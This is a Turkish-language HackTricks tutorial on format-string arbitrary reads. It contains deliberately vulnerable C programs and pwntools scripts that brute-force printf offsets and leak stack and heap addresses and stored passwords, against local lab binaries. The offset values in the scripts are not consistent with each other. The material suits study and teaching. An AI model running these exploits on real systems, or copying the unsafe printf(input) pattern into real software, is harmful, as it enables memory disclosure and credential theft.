hacktricks/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md

169 lines
4.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Format Strings - Arbitrary Read Example
{{#include ../../banners/hacktricks-training.md}}
## İkili Okuma Başlangıcı
### Kod
```c
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
```
Bunu ile derleyin:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### Sömürü
```python
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
- **offset 11'dir** çünkü birkaç A ayarlamak ve **brute-forcing** ile 0'dan 50'ye kadar döngü ile yapılan testler, 11. offsette ve 5 ekstra karakterle (bizim durumumuzda `|` boruları) tam bir adresi kontrol etmenin mümkün olduğunu buldu.
- Adresin tamamının 0x4141414141414141 olması için **`%11$p`** kullandım ve padding ekledim.
- **format string yükü adresin ÖNÜNDEDİR** çünkü **printf bir null byte'ta okumayı durdurur**, bu nedenle adresi gönderirsek ve ardından format string'i gönderirsek, printf format string'e ulaşamaz çünkü bir null byte önce bulunacaktır.
- Seçilen adres 0x00400000'dır çünkü binary'nin başladığı yerdir (PIE yoktur).
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Şifreleri oku
```c
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
```
Bunu ile derleyin:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Yığın'dan Okuma
**`stack_password`** yığında saklanacak çünkü bu bir yerel değişken, bu yüzden yığının içeriğini göstermek için printf'i kötüye kullanmak yeterlidir. Bu, yığından şifreleri sızdırmak için ilk 100 konumu BF'lemek için bir istismardır:
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
Görüntüde, `10.` pozisyondan yığını kullanarak şifreyi sızdırabileceğimiz görülmektedir:
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Verileri oku
Aynı istismarı `%s` yerine `%p` ile çalıştırarak, yığın üzerinden `%25$p` adresinde bir yığın adresi sızdırmak mümkündür. Ayrıca, sızdırılan adresi (`0xaaaab7030894`) o süreçte bellek içindeki şifrenin pozisyonu ile karşılaştırarak adresler arasındaki farkı elde edebiliriz:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
Artık, ikinci format dizesi zafiyetinden erişmek için yığında 1 adresi nasıl kontrol edeceğimizi bulma zamanı:
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
Ve kullanılan geçişle **try 14**'te bir adresi kontrol edebildiğimizi görebiliriz:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{{#include ../../banners/hacktricks-training.md}}